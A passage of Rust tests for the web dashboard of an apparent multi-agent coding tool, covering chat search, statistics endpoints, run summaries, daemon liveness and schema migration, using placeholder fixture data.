18667            "status": status, "turns": turns,
18668            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
18669            "seat": seat,
18670        });
18671        let dir = f.home.path().join("talks");
18672        std::fs::create_dir_all(&dir).expect("talks dir");
18673        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
18674    }
18675
18676    #[test]
18677    fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
18678        let mut talk: Talk = serde_json::from_value(serde_json::json!({
18679            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
18680            "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
18681            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
18682            "seat": crate::agent::SeatState::new("talk", "test", 1)
18683        })).unwrap();
18684        assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
18685        talk.title = Some(talk::ChatTitle {
18686            text: "最近の話題".into(),
18687            source: talk::TitleSource::Generated,
18688        });
18689        let doc = talk_search_doc(&talk);
18690        assert_eq!(doc["title"], "最近の話題");
18691        assert_eq!(doc["turns"][0]["operator"], "古い話題");
18692        talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
18693        assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
18694    }
18695
18696    #[tokio::test]
18697    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
18698        let f = Fixture::start().await;
18699        write_talk(
18700            &f,
18701            "20260901-000001-aaaa",
18702            "open",
18703            &[
18704                (
18705                    "operator",
18706                    "\n  Why does the Pangolin cache expire?\nsecond line",
18707                ),
18708                ("agent", "Because the TTL is thirty seconds."),
18709            ],
18710        );
18711        write_talk(
18712            &f,
18713            "20260901-000002-bbbb",
18714            "closed",
18715            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
18716        );
18717        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
18718
18719        let search = |q: &'static str| {
18720            let f = &f;
18721            async move {
18722                f.get(&format!("/api/search?scope=chats&q={q}"))
18723                    .await
18724                    .json()
18725            }
18726        };
18727
18728        let v = search("PANGOLIN").await;
18729        assert_eq!(v["scope"], "chats");
18730        assert_eq!(v["total"], 1, "{v}");
18731        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
18732        assert_eq!(v["hits"][0]["field"], "title");
18733        assert_eq!(v["unreadable"], 1, "{v}");
18734        let marked: Vec<&str> = v["hits"][0]["snippet"]
18735            .as_array()
18736            .unwrap()
18737            .iter()
18738            .filter(|p| p["hit"] == true)
18739            .map(|p| p["text"].as_str().unwrap())
18740            .collect();
18741        assert_eq!(marked, ["Pangolin"]);
18742
18743        // An agent turn, in a closed conversation.
18744        let v = search("zebra").await;
18745        assert_eq!(v["total"], 1, "{v}");
18746        assert_eq!(v["hits"][0]["field"], "agent");
18747        // Words may sit in different turns; all must be present.
18748        assert_eq!(search("pangolin%20thirty").await["total"], 1);
18749        assert_eq!(search("pangolin%20zebra").await["total"], 0);
18750        // Bookkeeping is not searched.
18751        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
18752            assert_eq!(search(q).await["total"], 0, "{q}");
18753        }
18754        // The first line only is the title; the second line is still a turn.
18755        assert_eq!(search("second").await["hits"][0]["field"], "operator");
18756        // Open conversations are listed before closed ones.
18757        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
18758
18759        let v = f.get("/api/search?scope=nope&q=a").await;
18760        assert_eq!(v.status, 400);
18761        assert!(
18762            v.body.contains("scope must be runs, tasks or chats"),
18763            "{}",
18764            v.body
18765        );
18766    }
18767
18768    #[test]
18769    fn a_question_card_links_a_task_id_to_the_task_page() {
18770        let start = APP_JS
18771            .find("function updateAskCard(")
18772            .expect("updateAskCard exists");
18773        let body = &APP_JS[start..];
18774        let body = &body[..body.find("\n}\n").expect("function end")];
18775        assert!(body.contains("question.run_is_task"));
18776        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
18777        assert!(body.contains("`#/runs/${question.run}`"));
18778        assert!(body.contains("\"task\" : \"run\""));
18779    }
18780
18781    #[test]
18782    fn plain_text_message_surfaces_go_through_linkify() {
18783        assert!(APP_JS.contains("function linkify("));
18784        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
18785        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
18786        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
18787        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
18788        assert!(!APP_JS.contains("innerHTML = text"));
18789    }
18790
18791    #[test]
18792    fn implementation_rate_views_keep_independent_samples() {
18793        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
18794            let a = stats::AgentStats {
18795                competitive_entered: competitive_n,
18796                competitive_wins: usize::from(competitive_n > 0),
18797                solo_entered: solo_n,
18798                solo_adopted: 2 * usize::from(solo_n > 0),
18799                ..Default::default()
18800            };
18801            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
18802            for (key, n, numerator) in [
18803                ("competitive_win_rate", competitive_n, a.competitive_wins),
18804                ("solo_adoption_rate", solo_n, a.solo_adopted),
18805            ] {
18806                if n == 0 {
18807                    assert!(v[key].is_null());
18808                } else {
18809                    assert_eq!(v[key]["denominator"], n);
18810                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
18811                }
18812            }
18813        }
18814        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
18815        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
18816        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
18817        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18818    }
18819
18820    #[test]
18821    fn stats_bars_share_one_id_keyed_plan() {
18822        let start = APP_JS
18823            .find("function statsBarRows(")
18824            .expect("statsBarRows exists");
18825        let body = &APP_JS[start..];
18826        let body = &body[..body.find("\n}\n").expect("function end")];
18827        assert!(body.contains("statsBarPlan(rows)"));
18828        assert!(body.contains("statsAgentTone(row.agent)"));
18829        assert!(!body.contains("candTone(i)"));
18830        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18831        for root in [
18832            "stats-agents-bars",
18833            "stats-solo-bars",
18834            "stats-reviewers-bars",
18835        ] {
18836            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
18837        }
18838    }
18839
18840    #[test]
18841    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
18842        let start = APP_JS
18843            .find("function renderStatsReviewerScatter(")
18844            .expect("renderStatsReviewerScatter exists");
18845        let body = &APP_JS[start..];
18846        let body = &body[..body.find("\n}\n").expect("function end")];
18847        assert!(body.contains("statsScatterPlan(reviewers)"));
18848        assert!(body.contains("statsAgentTone(d.agent)"));
18849        assert!(APP_JS.contains("function statsScatterPlan("));
18850        assert!(
18851            APP_JS.contains("d.submitted < STATS_LOW_N")
18852                || APP_JS.contains("r.submitted < STATS_LOW_N")
18853        );
18854        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
18855        assert!(APP_CSS.contains(".precision-scatter"));
18856    }
18857
18858    #[test]
18859    fn advisor_reflection_is_drawn_as_stacked_segments() {
18860        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
18861        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
18862        let html = include_str!("../assets/ui/index.html");
18863        assert!(html.contains("Approximate"));
18864        for label in ["reflected strongly", "faint", "no proposal"] {
18865            assert!(html.contains(label));
18866        }
18867        let css = include_str!("../assets/ui/app.css");
18868        for c in ["refl-strong", "refl-faint", "refl-absent"] {
18869            assert!(css.contains(&format!(".{c} {{")));
18870        }
18871    }
18872
18873    #[test]
18874    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
18875        assert!(APP_JS.contains("function statsDailyPlan("));
18876        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
18877        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
18878    }
18879
18880    #[test]
18881    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
18882        let start = APP_JS
18883            .find("function scheduleSearch(")
18884            .expect("scheduleSearch exists");
18885        let body = &APP_JS[start..];
18886        let body = &body[..body.find("\n}\n").expect("function end")];
18887        assert!(body.contains("s.seq += 1"));
18888    }
18889
18890    /// The dashboard reads every run's state itself rather than trusting a
18891    /// separately-maintained count, so an unreadable run must be counted the
18892    /// same way `/api/health` counts it - never silently dropped the way the
18893    /// CLI's own `stats::load_all` drops it.
18894    #[tokio::test]
18895    async fn stats_runs_unreadable_matches_health() {
18896        let f = Fixture::start().await;
18897        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18898        let broken = f.runs().join("20260902-140502-bad");
18899        std::fs::create_dir_all(&broken).expect("run dir");
18900        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18901
18902        let stats = f.get("/api/stats").await;
18903        let health = f.get("/api/health").await;
18904
18905        assert_eq!(stats.status, 200);
18906        assert_eq!(stats.json()["totals"]["runs"], 1);
18907        assert_eq!(stats.json()["runs_unreadable"], 1);
18908        assert_eq!(
18909            stats.json()["runs_unreadable"],
18910            health.json()["runs_unreadable"],
18911            "the dashboard and /api/health must never disagree about how many \
18912             runs could not be read"
18913        );
18914    }
18915
18916    #[tokio::test]
18917    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
18918        let f = Fixture::start().await;
18919        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18920        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
18921        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
18922
18923        let totals = &f.get("/api/stats").await.json()["totals"];
18924        assert_eq!(totals["runs"], 3);
18925        assert_eq!(totals["merged"], 1);
18926        assert_eq!(totals["stalled"], 1);
18927        assert_eq!(totals["in_progress"], 1);
18928        // A stalled run must never read as blocked/merged/ready - it is its
18929        // own bucket, not folded into a "decided" one.
18930        assert_eq!(totals["blocked"], 0);
18931        assert_eq!(totals["ready"], 0);
18932    }
18933
18934    #[tokio::test]
18935    async fn stats_advisors_report_proposals_and_reflection() {
18936        use crate::advise::{Advice, AdvisorRecord, Reflection};
18937        use crate::verdict::Proposal;
18938
18939        let f = Fixture::start().await;
18940        let mut state = RunState::new(
18941            PathBuf::from("/repo/magi"),
18942            "main".to_owned(),
18943            "0123456789abcdef".to_owned(),
18944            "task".to_owned(),
18945            Config::default(),
18946        );
18947        state.id = "20260902-140501-a".to_owned();
18948        state.status = RunStatus::Merged;
18949        state.advice = Some(Advice {
18950            records: vec![
18951                AdvisorRecord {
18952                    seat: "advisor-1".to_owned(),
18953                    agent: "alpha".to_owned(),
18954                    proposal: Some(Proposal {
18955                        approach: "do it".to_owned(),
18956                        key_tradeoff: "speed over memory".to_owned(),
18957                        risks: Vec::new(),
18958                        touches: Vec::new(),
18959                        why_not_naive: "breaks under load".to_owned(),
18960                    }),
18961                    error: None,
18962                    duration_ms: 0,
18963                    reflection: Reflection::Strong,
18964                },
18965                AdvisorRecord {
18966                    seat: "advisor-2".to_owned(),
18967                    agent: "alpha".to_owned(),
18968                    proposal: None,
18969                    error: Some("timed out".to_owned()),
18970                    duration_ms: 0,
18971                    reflection: Reflection::Absent,
18972                },
18973            ],
18974            synthesis: Some("blended brief".to_owned()),
18975        });
18976        let dir = f.runs().join(&state.id);
18977        std::fs::create_dir_all(&dir).expect("run dir");
18978        std::fs::write(
18979            dir.join("run.json"),
18980            serde_json::to_string_pretty(&state).expect("serialize run"),
18981        )
18982        .expect("write run.json");
18983
18984        // `alpha` is in no roster here; this test is about the rates.
18985        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
18986        let alpha = advisors
18987            .as_array()
18988            .expect("an array")
18989            .iter()
18990            .find(|a| a["agent"] == "alpha")
18991            .expect("alpha row");
18992        assert_eq!(alpha["seated"], 2);
18993        assert_eq!(alpha["proposed"], 1);
18994        assert_eq!(alpha["absent"], 1);
18995        assert_eq!(alpha["strong"], 1);
18996        assert_eq!(alpha["faint"], 0);
18997        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
18998    }
18999
19000    #[tokio::test]
19001    async fn stats_hides_agents_outside_the_roster_unless_all() {
19002        use crate::run::Candidate;
19003        let repo = TempDir::new().expect("repo dir");
19004        std::fs::write(
19005            repo.path().join("magi.toml"),
19006            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
19007        )
19008        .expect("magi.toml");
19009        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
19010        let mut state = RunState::new(
19011            PathBuf::from("/repo/magi"),
19012            "main".to_owned(),
19013            "0123456789abcdef".to_owned(),
19014            "task".to_owned(),
19015            Config::default(),
19016        );
19017        state.id = "20260902-140501-a".to_owned();
19018        state.status = RunStatus::Merged;
19019        for (label, agent) in [('A', "keep"), ('B', "retired")] {
19020            let mut c: Candidate = serde_json::from_value(serde_json::json!({
19021                "index": 0, "label": label.to_string(), "agent": agent,
19022                "branch": "b", "worktree": "/w",
19023            }))
19024            .expect("candidate");
19025            c.label = label;
19026            state.candidates.push(c);
19027        }
19028        let dir = f.runs().join(&state.id);
19029        std::fs::create_dir_all(&dir).expect("run dir");
19030        std::fs::write(
19031            dir.join("run.json"),
19032            serde_json::to_string_pretty(&state).expect("serialize run"),
19033        )
19034        .expect("write run.json");
19035
19036        let agents_of = |v: &serde_json::Value| -> Vec<String> {
19037            v["agents"]
19038                .as_array()
19039                .expect("array")
19040                .iter()
19041                .map(|a| a["agent"].as_str().unwrap().to_owned())
19042                .collect()
19043        };
19044        let hidden = f.get("/api/stats").await.json();
19045        assert_eq!(agents_of(&hidden), ["keep"]);
19046        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
19047        assert_eq!(hidden["totals"]["runs"], 1);
19048
19049        let all = f.get("/api/stats?all=true").await.json();
19050        assert_eq!(agents_of(&all).len(), 2);
19051        assert_eq!(all["retired_hidden"], serde_json::json!([]));
19052        // Verify competitive and solo keys exist on agent entries
19053        let keep_agent = all["agents"]
19054            .as_array()
19055            .unwrap()
19056            .iter()
19057            .find(|a| a["agent"] == "keep")
19058            .unwrap();
19059        assert_eq!(keep_agent["competitive_entered"], 1);
19060        assert_eq!(keep_agent["competitive_wins"], 0);
19061        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
19062        assert_eq!(keep_agent["solo_entered"], 0);
19063        assert_eq!(keep_agent["solo_adopted"], 0);
19064        assert!(keep_agent["solo_adoption_rate"].is_null());
19065    }
19066
19067    #[tokio::test]
19068    async fn stats_release_bumps_split_clean_from_attention() {
19069        use crate::run::ReleaseBump;
19070
19071        let f = Fixture::start().await;
19072
19073        let mut clean = RunState::new(
19074            PathBuf::from("/repo/magi"),
19075            "main".to_owned(),
19076            "0123456789abcdef".to_owned(),
19077            "task".to_owned(),
19078            Config::default(),
19079        );
19080        clean.id = "20260902-140501-a".to_owned();
19081        clean.status = RunStatus::Merged;
19082        clean.release_bump = Some(ReleaseBump {
19083            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
19084            version: Some("1.0.0".to_owned()),
19085            automerge_enabled: true,
19086            merged_directly: false,
19087            local: false,
19088            release: None,
19089            problem: None,
19090            action_required: None,
19091            skipped: None,
19092        });
19093
19094        let mut blocked = RunState::new(
19095            PathBuf::from("/repo/magi"),
19096            "main".to_owned(),
19097            "0123456789abcdef".to_owned(),
19098            "task".to_owned(),
19099            Config::default(),
19100        );
19101        blocked.id = "20260902-140502-b".to_owned();
19102        blocked.status = RunStatus::Merged;
19103        blocked.release_bump = Some(ReleaseBump {
19104            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
19105            version: Some("1.0.1".to_owned()),
19106            automerge_enabled: false,
19107            merged_directly: false,
19108            local: false,
19109            release: None,
19110            problem: Some("checks red".to_owned()),
19111            action_required: Some("look at the PR".to_owned()),
19112            skipped: None,
19113        });
19114
19115        for state in [&clean, &blocked] {
19116            let dir = f.runs().join(&state.id);
19117            std::fs::create_dir_all(&dir).expect("run dir");
19118            std::fs::write(
19119                dir.join("run.json"),
19120                serde_json::to_string_pretty(state).expect("serialize run"),
19121            )
19122            .expect("write run.json");
19123        }
19124
19125        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
19126        assert_eq!(bumps["merged"], 2);
19127        assert_eq!(bumps["recorded"], 2);
19128        assert_eq!(bumps["pr_opened"], 2);
19129        assert_eq!(bumps["automerge_enabled"], 1);
19130        assert_eq!(bumps["needs_attention"], 1);
19131        assert_eq!(bumps["clean"], 1);
19132        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
19133        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
19134    }
19135
19136    #[tokio::test]
19137    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
19138        let f = Fixture::start().await;
19139        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
19140
19141        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
19142        assert_eq!(bumps["merged"], 1);
19143        assert_eq!(bumps["recorded"], 0);
19144        // `merged` is nonzero, so coverage still reads as a real 0%, not an
19145        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
19146        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
19147        // `pr_opened` and `recorded` are both zero here, so these rates have
19148        // no denominator to compute from and must be null.
19149        assert_eq!(bumps["automerge_rate"], Value::Null);
19150        assert_eq!(bumps["attention_rate"], Value::Null);
19151    }
19152
19153    #[tokio::test]
19154    async fn stats_queue_counts_come_from_the_live_queue() {
19155        let f = Fixture::start().await;
19156        let q = f.queue();
19157        let mut queued = Task::new(
19158            "queued task".to_owned(),
19159            "do it".to_owned(),
19160            PathBuf::from("/repo"),
19161            Source::Human,
19162        );
19163        q.put(&mut queued).expect("put queued");
19164        let mut held = Task::new(
19165            "held task".to_owned(),
19166            "do it later".to_owned(),
19167            PathBuf::from("/repo"),
19168            Source::Human,
19169        );
19170        held.hold_machine(Some("out of attempts".to_owned()));
19171        q.put(&mut held).expect("put held");
19172
19173        let queue = f.get("/api/stats").await.json()["queue"].clone();
19174        assert_eq!(queue["queued"], 1);
19175        assert_eq!(queue["held"], 1);
19176        assert_eq!(queue["running"], 0);
19177        assert_eq!(queue["done"], 0);
19178        assert_eq!(queue["failed"], 0);
19179        assert_eq!(queue["blocked"], 0);
19180    }
19181
19182    #[tokio::test]
19183    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
19184        let f = Fixture::start().await;
19185        let stats = f.get("/api/stats").await;
19186        assert_eq!(stats.status, 200);
19187        assert_eq!(stats.json()["totals"]["runs"], 0);
19188        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
19189        assert_eq!(stats.json()["runs_unreadable"], 0);
19190        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
19191        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
19192        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
19193        assert_eq!(stats.json()["repo"], Value::Null);
19194    }
19195
19196    #[tokio::test]
19197    async fn stats_lists_every_repository_with_runs_recorded() {
19198        let f = Fixture::start().await;
19199        write_run_repo(
19200            &f.runs(),
19201            "20260902-140501-a",
19202            RunStatus::Merged,
19203            "/repos/a",
19204        );
19205        write_run_repo(
19206            &f.runs(),
19207            "20260902-140502-b",
19208            RunStatus::Merged,
19209            "/repos/a",
19210        );
19211        write_run_repo(
19212            &f.runs(),
19213            "20260902-140503-c",
19214            RunStatus::Blocked,
19215            "/repos/b",
19216        );
19217
19218        let stats = f.get("/api/stats").await;
19219        assert_eq!(stats.status, 200);
19220        // Unfiltered - the aggregate across both repositories.
19221        assert_eq!(stats.json()["totals"]["runs"], 3);
19222        assert_eq!(stats.json()["repo"], Value::Null);
19223
19224        let repos = stats.json()["repos"].clone();
19225        let repos = repos.as_array().unwrap();
19226        assert_eq!(repos.len(), 2);
19227        // Busiest (2 runs) first.
19228        assert_eq!(repos[0]["repo"], "/repos/a");
19229        assert_eq!(repos[0]["name"], "a");
19230        assert_eq!(repos[0]["runs"], 2);
19231        assert_eq!(repos[1]["repo"], "/repos/b");
19232        assert_eq!(repos[1]["runs"], 1);
19233    }
19234
19235    #[tokio::test]
19236    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
19237        let f = Fixture::start().await;
19238        write_run_repo(
19239            &f.runs(),
19240            "20260902-140501-a",
19241            RunStatus::Merged,
19242            "/repos/a",
19243        );
19244        write_run_repo(
19245            &f.runs(),
19246            "20260902-140502-b",
19247            RunStatus::Blocked,
19248            "/repos/b",
19249        );
19250
19251        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
19252        assert_eq!(stats.status, 200);
19253        assert_eq!(stats.json()["totals"]["runs"], 1);
19254        assert_eq!(stats.json()["totals"]["merged"], 1);
19255        assert_eq!(stats.json()["repo"], "/repos/a");
19256        // The repository list itself is unaffected by the filter - it is
19257        // what a client switches repositories from.
19258        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
19259        // runs_unreadable is a whole-workload count, never scoped to the
19260        // selected repository - see StatsView::runs_unreadable's own doc.
19261        assert_eq!(stats.json()["runs_unreadable"], 0);
19262    }
19263
19264    #[tokio::test]
19265    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
19266        let f = Fixture::start().await;
19267        write_run_repo(
19268            &f.runs(),
19269            "20260902-140501-a",
19270            RunStatus::Merged,
19271            "/repos/a",
19272        );
19273        write_run_repo(
19274            &f.runs(),
19275            "20260902-140502-b",
19276            RunStatus::Merged,
19277            "/repos/b",
19278        );
19279
19280        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
19281            let json = f.get(uri).await.json();
19282            let daily = json["daily"].as_array().expect("daily is an array");
19283            assert_eq!(daily.len(), 30);
19284            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
19285            let mut sorted = dates.clone();
19286            sorted.sort();
19287            assert_eq!(dates, sorted);
19288            for d in daily {
19289                assert_eq!(
19290                    d["merged"].as_u64().unwrap()
19291                        + d["ready"].as_u64().unwrap()
19292                        + d["other"].as_u64().unwrap(),
19293                    d["runs"].as_u64().unwrap()
19294                );
19295            }
19296            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
19297        }
19298    }
19299
19300    #[tokio::test]
19301    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
19302        let f = Fixture::start().await;
19303        write_run_repo(
19304            &f.runs(),
19305            "20260902-140501-a",
19306            RunStatus::Merged,
19307            "/repos/a",
19308        );
19309
19310        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
19311        assert_eq!(stats.status, 404);
19312    }
19313
19314    #[tokio::test]
19315    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
19316        let f = Fixture::start().await;
19317        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
19318
19319        let summary = f.get("/api/runs").await.json();
19320        let row = &summary[0];
19321        assert_eq!(row["short"], "a1b2");
19322        assert_eq!(row["status"], "ready");
19323        assert_eq!(row["done"], true);
19324        assert_eq!(row["title"], "Add a web UI");
19325        assert_eq!(row["repo_name"], "magi");
19326        assert_eq!(row["judges"], 3);
19327        assert_eq!(row["winner"], Value::Null);
19328        assert_eq!(row["reviews"], 0);
19329
19330        // The short id resolves, and the detail route is the state itself, not
19331        // a projection of it: the UI reads fields the summary does not carry.
19332        let detail = f.get("/api/runs/a1b2").await;
19333        assert_eq!(detail.status, 200);
19334        assert_eq!(detail.json()["base_branch"], "main");
19335        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
19336    }
19337
19338    /// `status: "ready"` alone cannot tell a run still headed for a landing
19339    /// (a PR closed without merging, say) apart from one `[merge] mode =
19340    /// "none"` left unmerged for good — the confusion the operator flagged
19341    /// after the CLI report already grew a `not landed — nothing to do by
19342    /// design` line for exactly this case (`report.rs`). Both the list route
19343    /// and the detail route must carry a flag the phone can key on instead of
19344    /// re-deriving it from `status` + `merge.mode` itself.
19345    #[tokio::test]
19346    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
19347        let f = Fixture::start().await;
19348
19349        let mut none_run = RunState::new(
19350            PathBuf::from("/repo/magi"),
19351            "main".to_owned(),
19352            "0123456789abcdef".to_owned(),
19353            "Add a web UI".to_owned(),
19354            Config::default(),
19355        );
19356        none_run.id = "20260902-140503-none".to_owned();
19357        none_run.status = RunStatus::Ready;
19358        none_run.merge = Some(crate::run::MergeOutcome {
19359            mode: crate::config::MergeMode::None,
19360            ok: true,
19361            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
19362            empty: false,
19363        });
19364        write_state(&f.runs(), &none_run);
19365
19366        let mut pr_run = RunState::new(
19367            PathBuf::from("/repo/magi"),
19368            "main".to_owned(),
19369            "0123456789abcdef".to_owned(),
19370            "Add a web UI".to_owned(),
19371            Config::default(),
19372        );
19373        pr_run.id = "20260902-140504-prcl".to_owned();
19374        pr_run.status = RunStatus::Ready;
19375        pr_run.merge = Some(crate::run::MergeOutcome {
19376            mode: crate::config::MergeMode::Pr,
19377            ok: false,
19378            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
19379            empty: false,
19380        });
19381        write_state(&f.runs(), &pr_run);
19382
19383        let summary = f.get("/api/runs").await.json();
19384        let rows: std::collections::HashMap<&str, &Value> = summary
19385            .as_array()
19386            .expect("an array")
19387            .iter()
19388            .map(|r| (r["id"].as_str().expect("an id"), r))
19389            .collect();
19390        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
19391        assert_eq!(
19392            rows[none_run.id.as_str()]["unmerged_by_design"],
19393            true,
19394            "a mode-none Ready must be flagged in the list"
19395        );
19396        assert_eq!(
19397            rows[pr_run.id.as_str()]["unmerged_by_design"],
19398            false,
19399            "a Ready reached by a closed pull request is a different case"
19400        );
19401
19402        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
19403        assert_eq!(none_detail["status"], "ready");
19404        assert_eq!(none_detail["unmerged_by_design"], true);
19405
19406        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
19407        assert_eq!(pr_detail["unmerged_by_design"], false);
19408    }
19409
19410    /// `RunState::active` is only ever cleared by whoever populated it, so the
19411    /// detail route also has to say whether a daemon is actually still
19412    /// driving this run right now — otherwise a seat from a killed process's
19413    /// last wave would read as live forever.
19414    #[tokio::test]
19415    async fn run_core_survives_unavailable_related_stores() {
19416        let home = TempDir::new().unwrap();
19417        let ui = delta_test_ui(home.path());
19418        let state = RunState::new(
19419            PathBuf::from("/repo/magi"),
19420            "main".into(),
19421            "0123456789abcdef".into(),
19422            "Useful core instructions".into(),
19423            Config::default(),
19424        );
19425        let dir = ui.runs.join(&state.id);
19426        std::fs::create_dir_all(&dir).unwrap();
19427        std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
19428        std::fs::write(ui.questions.root(), "unavailable").unwrap();
19429        std::fs::write(ui.queue.root(), "unavailable").unwrap();
19430        let core = run_core(State(ui.clone()), Path(state.id.clone()))
19431            .await
19432            .unwrap()
19433            .0;
19434        assert_eq!(core.state.instruction, state.instruction);
19435        assert_eq!(core.state.updated_at, state.updated_at);
19436        assert!(core.task.is_none());
19437        assert!(run_detail(State(ui), Path(state.id)).await.is_err());
19438    }
19439
19440    #[tokio::test]
19441    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
19442        let f = Fixture::start().await;
19443        // Matches `write_daemon`'s hard-coded `current.run`, so the second
19444        // half of this test can claim the daemon is working on it without a
19445        // second helper.
19446        let id = "20260902-140502-bbbb";
19447        let mut state = RunState::new(
19448            PathBuf::from("/repo/magi"),
19449            "main".to_owned(),
19450            "0123456789abcdef".to_owned(),
19451            "Add a web UI".to_owned(),
19452            Config::default(),
19453        );
19454        state.id = id.to_owned();
19455        state.status = RunStatus::Judging;
19456        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
19457        let dir = f.runs().join(id);
19458        std::fs::create_dir_all(&dir).expect("run dir");
19459        std::fs::write(
19460            dir.join("run.json"),
19461            serde_json::to_string_pretty(&state).expect("serialize run"),
19462        )
19463        .expect("write run.json");
19464
19465        // No daemon.json at all, and no `driver_pid` recorded either (this
19466        // state was written directly, never through `execute()`): there is
19467        // nothing to confirm either way, so the route must say `"unknown"` —
19468        // never `"dead"`, which is exactly the false diagnosis a manual `magi
19469        // run` used to get from this route before `driver_pid` existed.
19470        let cold = f.get(&format!("/api/runs/{id}")).await.json();
19471        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
19472        assert_eq!(cold["live"], "unknown", "{cold}");
19473
19474        // A fresh heartbeat naming exactly this run: the same entry now reads
19475        // as confirmed, not merely recorded.
19476        write_daemon(f.home.path(), Timestamp::now());
19477        let warm = f.get(&format!("/api/runs/{id}")).await.json();
19478        assert_eq!(warm["live"], "live", "{warm}");
19479    }
19480
19481    #[test]
19482    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
19483        let home = tempfile::tempdir().expect("temp home");
19484        let runs = home.path().join("runs");
19485        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
19486            let mut state = RunState::new(
19487                PathBuf::from("/repo/magi"),
19488                "main".to_owned(),
19489                "0123456789abcdef".to_owned(),
19490                "Generated review context, not authored task criteria".to_owned(),
19491                Config::default(),
19492            );
19493            state.origin = origin;
19494            state.status = RunStatus::Blocked;
19495            // Earlier migrations must not infer these facts again.
19496            state.driver_exited = false;
19497            state.gate_ran = true;
19498            let expected = serde_json::to_value(&state).expect("serialize current state");
19499            let mut legacy = expected.clone();
19500            legacy["schema"] = serde_json::json!(13);
